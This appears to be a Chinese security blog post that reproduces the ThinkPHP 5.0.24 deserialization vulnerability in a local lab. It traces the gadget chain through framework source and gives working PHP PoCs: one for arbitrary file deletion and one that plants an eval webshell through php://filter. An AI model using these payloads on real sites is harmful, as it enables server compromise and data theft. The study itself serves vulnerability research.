ThinkPHP5.0.24代码审计漏洞复现

5.0.24代码审计调试

前置知识

类的继承

PHP中类的继承通过关键字extend实现,利用关键字parent::进行访问父类类型

示例

<?php
class father{
    public $name="zhangsan";
    public $age="35";
    public function SelfIntroduction()
    {
        echo "   I am father";
    }
}
class son extends father{
    public $name="zhangsi";
    public $age="8";

    public function SelfIntroduction(){
        echo "I am son";
;    }
    public function FatherIntroduction(){
        parent::SelfIntroduction();
    }
}
$son=new son();
$son->SelfIntroduction();
//输出“I am son”
$son->FatherIntroduction();
//输出“I am father”

?>

trait修饰符

trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使得类可以包含另一个类

<?php
    trait son{
    public function Inbtroduction(){
        echo "my name is zhangsi";
    }
}

class father{
    use test;
    public function __construct()
    {
        echo "My son say:";
    }
}
$father=new father();
$father->Introduction();
?>

image-20240309135546112

环境搭建

环境采用PhpStorm+Xdebug+PhpStudy

PhpStorm

(踩大坑:网上相关Xdebug配置教程普遍为2.x版本,相关配置导入phpstorm出错,3.x版本推荐文章:phpstorm配置xdebug 3.0最新教程,跟着这个文章一步一步保证没问题)

ThinkPHP搭建:

github链接:https://github.com/top-think/framework/tree/v5.0.24(tp官网下载链接已经404

and

gitee源码:https://gitee.com/zhouzhenhan/thinkphp_5.0.24

直接搭建gitee下的文件,会报错缺少start.php文件,从github中引入相关缺少文件(网上教程全说从官网下载源码拉到小皮就行。。。),如果发生报错,根据报错信息修改路径就ok

目录结构:

image-20240309123032593

其中thinkphp文件夹为github上拉下来的framework文件

PhpStudy中把网站首页改到public文件夹

image-20240309123702459

由于这个框架的反序列化漏洞,只有二次开发且实现反序列化才可以利用,需要手动加入反序列化注入点

在文件application/index/controller/Index.php

删除原本的Index类,修改为:

class Index{    
public function index(){        
echo "Welcome thinkphp 5.0.24";        unserialize(base64_decode($_GET['a']));    
}
}

此时再访问首页并传入a,页面应该为:

image-20240309124838018

漏洞分析

首先借助Seay全局寻找_destruct方法,共找到四种

image-20240309141039694

真正入口点为/thinkphp/library/think/process/pipes/Windows.php下的destruct方法:

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

调用两个函数:close()removeFiles();

ctrl加鼠标左键跟进函数

close():

public function close()
    {
        parent::close();
        foreach ($this->fileHandles as $handle) {
            fclose($handle);
        }
        $this->fileHandles = [];
    }

作用为使用foreach循环遍历文件句柄,并将其关闭,并将$this->fileHandles设为空,确保所有文件都(没有利用点可以触发其他魔术方法)

removeFiles():

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

这段函数检查文件名是否存在,若存在使用@unlink函数删除文件

此处可以导致任意文件删除

任意文件删除POC编写:

$filename$this->files决定,跟进$this->files

image-20240309204832638

因此对private $files进行赋值可以达到任意文件删除

首先抄写$files所属类,父类以及命名空间(防止类重名),然后写上变量$files

<?php
namespace thinkprocesspipes;

class Pipes

class Windows extends Pipes{
    private $files = [];
}

?>

在www目录下创建一个测试文件(parar.txt)

image-20240309211235776

右键复制文件地址,传入files,并进行实例化和编码

<?php
namespace thinkprocesspipes;

class Pipes

class Windows extends Pipes{
    private $files = ["D:phpstudyWWWparar.txt"];
}
$a=new Windows();
echo base64_encode(serialize($a));
?>

image-20240309213220696

传入编码后的poc.成功删除文件

image-20240309213257301

继续分析RCE的链子:

其中函数file_exists()检测文件是否存在返回布尔值,查看函数定义

image-20240309143925212

发现file_exists($filename)中的文件名被当做String字符串类型的数据进行处理,可以触发魔术方法__toString()

下一步全局寻找__toString方法

image-20240309150521325

大致扫了一下,参考网上大佬博客,下一步利用/thinkphp/library/think/Model.php下的__toString()函数

public function __toString()
    {
        return $this->toJson();
    }

其中调用了toJson()函数,继续跟进

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

这个函数用于将对象转化为JSON格式的字符串。其中$options为一个可选参数,默认为SON_UNESCAPED_UNICODE(不对Unicode字符转义),内部再首先调用__toArray()方法将对象转化为数组,然后使用json_encode()函数将数组转化为JSON字符串

跟进toArray()

public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

(晕了)

在以上代码中,存在四个可控函数调用($可控变量->方法

image-20240309202919601

$item[$key] = $relation->append($name)->toArray();
$item[$key] = $relation->append([$attr])->toArray();
$bindAttr = $modelRelation->getBindAttr();
$item[$key] = $value ? $value->getAttr($attr) : null;

魔术方法__call()触发机制为调用一个不存在或不可访问的方法

全局寻找__call()魔术方法

image-20240310134111446

/thinkphp/library/think/Request.php下的__call()魔术方法下,直接调用了call_user_func_array()函数,可以导致RCE

 public function __call($method, $args)
    {
        if (array_key_exists($method, self::$hook)) {
            array_unshift($args, $this);
            return call_user_func_array(self::$hook[$method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

(==通过调试==)第一,二条中$relation返回错误,不可利用。第三条$modelRelation类型,

因此能够利用的只有第四条:

$item[$key] = $value ? $value->getAttr($attr) : null;

根据代码, 逆推执行这一步需要进入的条件判断语句如下:

if (isset($this->data[$key]))  //为假
if ($bindAttr)                 //为真
if (method_exists($modelRelation, 'getBindAttr'))//为真
if (method_exists($this, $relation))    //为真
if (is_array($name))  &   elseif (strpos($name, '.')) //同时为假
if (!empty($this->append))       //为真

因此,按照代码逻辑顺序,需要满足的条件顺序如下

if (!empty($this->append))       //为真
if (is_array($name))  &   elseif (strpos($name, '.')) //同时为假
if (method_exists($this, $relation))    //为真
if (method_exists($modelRelation, 'getBindAttr'))//为真
if ($bindAttr)                 //为真
if (isset($this->data[$key]))  //为假

第一步if (!empty($this->append)):

image-20240310143444136

要求$this->append不为空,传值即可绕过

第二步if (is_array($name)) & elseif (strpos($name, '.'))

由于foreach ($this->append as $key => $name)$name$this->append决定

因此$append需要满足的条件为不为数组且不包含点

第三步if (method_exists($this, $relation))

image-20240310144057004

检测在本类中$relation方法是否存在,调用任一存在的方法即可

第四步if (method_exists($modelRelation, 'getBindAttr'))//为真

检测在$modelRelation类中,是否存在getBindAttr

第五步:其中$modelRelation取决于$this->$relation();

$relation设为’getError'($this->append=[‘getError’],getError为Model类里的方法,且结构简单返回值可控。),$modelRelation就变成了$this->getError()

public function getError()
    {
        return $this->error;
    }

$error可控,因此$modelRelation$error

$value = $this->getRelationData($modelRelation);

跟进getRelationData($modelRelation)

protected function getRelationData(Relation $modelRelation)
    {
        if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
            $value = $this->parent;
        } else {
            // 首先获取关联数据
            if (method_exists($modelRelation, 'getRelation')) {
                $value = $modelRelation->getRelation();
            } else {
                throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
            }
        }
        return $value;
    }

限制条件为:$modelRelation必须为 Relation对象,通过$this->error控制,并且$modelRelation这个对象还要有isSelfRelation()、getModel()方法

搜索发现这两种方法都存在于Relation类中,但Relation为抽象类,需要寻找子类,全局搜索extends Relation

image-20240310163339766

其中,第五个为抽象类,无法直接使用,但是$modelRelation必须存在getBindAttr方法,又只有OneToOne类中有

abstract class OneToOne extends Relation
{
    // 预载入方式 0 -JOIN 1 -IN
    protected $eagerlyType = 1;
    // 当前关联的JOIN类型
    protected $joinType;
    // 要绑定的属性
    protected $bindAttr = [];
    // 关联方法名
    protected $relation;

    /**
     * 设置join类型
     * @access public
     * @param string $type JOIN类型
     * @return $this
     */
    public function joinType($type)
    {
        $this->joinType = $type;
        return $this;
    }

    /**
     * 预载入关联查询(JOIN方式)
     * @access public
     * @param Query    $query       查询对象
     * @param string   $relation    关联名
     * @param string   $subRelation 子关联
     * @param Closure $closure     闭包条件
     * @param bool     $first
     * @return void
     */
    public function eagerly(Query $query, $relation, $subRelation, $closure, $first)
    {
        $name = Loader::parseName(basename(str_replace('\', '/', get_class($query->getModel()))));

        if ($first) {
            $table = $query->getTable();
            $query->table([$table => $name]);
            if ($query->getOptions('field')) {
                $field = $query->getOptions('field');
                $query->removeOption('field');
            } else {
                $field = true;
            }
            $query->field($field, false, $table, $name);
            $field = null;
        }

        // 预载入封装
        $joinTable = $this->query->getTable();
        $joinAlias = $relation;
        $query->via($joinAlias);

        if ($this instanceof BelongsTo) {
            $query->join([$joinTable => $joinAlias], $name . '.' . $this->foreignKey . '=' . $joinAlias . '.' . $this->localKey, $this->joinType);
        } else {
            $query->join([$joinTable => $joinAlias], $name . '.' . $this->localKey . '=' . $joinAlias . '.' . $this->foreignKey, $this->joinType);
        }

        if ($closure) {
            // 执行闭包查询
            call_user_func_array($closure, [ & $query]);
            // 使用withField指定获取关联的字段,如
            // $query->where(['id'=>1])->withField('id,name');
            if ($query->getOptions('with_field')) {
                $field = $query->getOptions('with_field');
                $query->removeOption('with_field');
            }
        } elseif (isset($this->option['field'])) {
            $field = $this->option['field'];
        }
        $query->field(isset($field) ? $field : true, false, $joinTable, $joinAlias, $relation . '__');
    }

因此,继续寻找OneToOne的子类

image-20240310164251998

选择第二个:因此$this->error=new HasOne()

因此代码就到了$item[$key] = $value ? $value->getAttr($attr) : null

控制$value就可以调用__call()方法

但是Request类中__call()方法中,self::$hook[$method]不可控,无法利用

所以使用Output类中的__call()方法。/thinkphp/library/think/console/Output.php

public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args);
        }

        if ($this->handle && method_exists($this->handle, $method)) {
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

跟进block方法

protected function block($style, $message)
    {
        $this->writeln("<{$style}>{$message}</$style>");
    }

跟进writeln

  public function writeln($messages, $type = self::OUTPUT_NORMAL)
    {
        $this->write($messages, true, $type);
    }

跟进write

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages, $newline, $type);
    }

$this->handle可控,全局搜索write

利用:/thinkphp/library/think/session/driver/Memcached.php

public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
    }

同样$this->handler可控,全局搜索set,利用thinkphp/library/think/cache/driver/File.php

 public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }

存在file_put_contents函数,但后面存在死亡exit,伪协议绕过一下

但是$data从value取值。set参数来自write,write在writeln的时候传入了true,于是这里无法直写

继续跟进后续的setTagItem

protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name;
            }
            $this->set($key, $value, 0);
        }
    }

在最后再次调用了set方法

文件内容value通过$name赋值(文件名)

$payload='php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?phpn//000000000000n exit();?>n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data);

但是无法在windows下进行写文件,因为包含了? <等非法字符

windows下写文件绕过方法参考:Thinkphp5.0反序列化链在Windows下写文件的方法

poc:

<?php
namespace thinkprocesspipes;
use thinkmodelPivot;
class Pipes{

}
class Windows extends Pipes{
private $files=[];
function __construct(){
$this->files=[new Pivot()];
}

}
namespace think;
use thinkmodelrelationHasOne; // use 这里是类名 写成了use thinkmodelrelationhasOne;
use thinkconsoleOutput;
abstract class Model{
protected $append = [];
protected $error;
public $parent; // 类型写错写错了 写成了 protected $parent;
public function __construct(){
$this->append=[“getError”];
$this->error=new HasOne();
$this->parent=new Output();
}
}
namespace thinkmodelrelation;
use thinkmodelRelation;
class HasOne extends OneToOne{
function __construct(){
parent::__construct();
}
}
namespace thinkmodel;
use thinkdbQuery;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation=false;
$this->query= new Query();
}
}
namespace thinkconsole;
use thinksessiondriverMemcache;
class Output{
private $handle = null;
protected $styles = []; //类型错了 写成了private $styles = [];
function __construct(){
$this->styles=[‘getAttr’]; //这个条件忘记加了 注意上下文
$this->handle=new Memcache();
}
}
namespace thinkdb;
use thinkconsoleOutput;
class Query{
protected $model;
function __construct(){
$this->model= new Output();
}
}
namespace thinkmodelrelation;
use thinkmodelRelation;
abstract class OneToOne extends Relation{

protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr=[“kanjin”,”kanjin”];

}
}
namespace thinksessiondriver;
use thinkcachedriverFile;
class Memcache{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace thinkcachedriver;
use thinkcacheDriver;
class File extends Driver{
protected $options=[];
function __construct(){
parent::__construct();
$this->options = [
‘expire’ => 0,
‘cache_subdir’ => false,
‘prefix’ => ”,
‘path’ => ‘php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php’,
‘data_compress’ => false,
];
}
}
namespace thinkcache;
abstract class Driver{
protected $tag;
function __construct(){
$this->tag=true;
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));

//
?>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇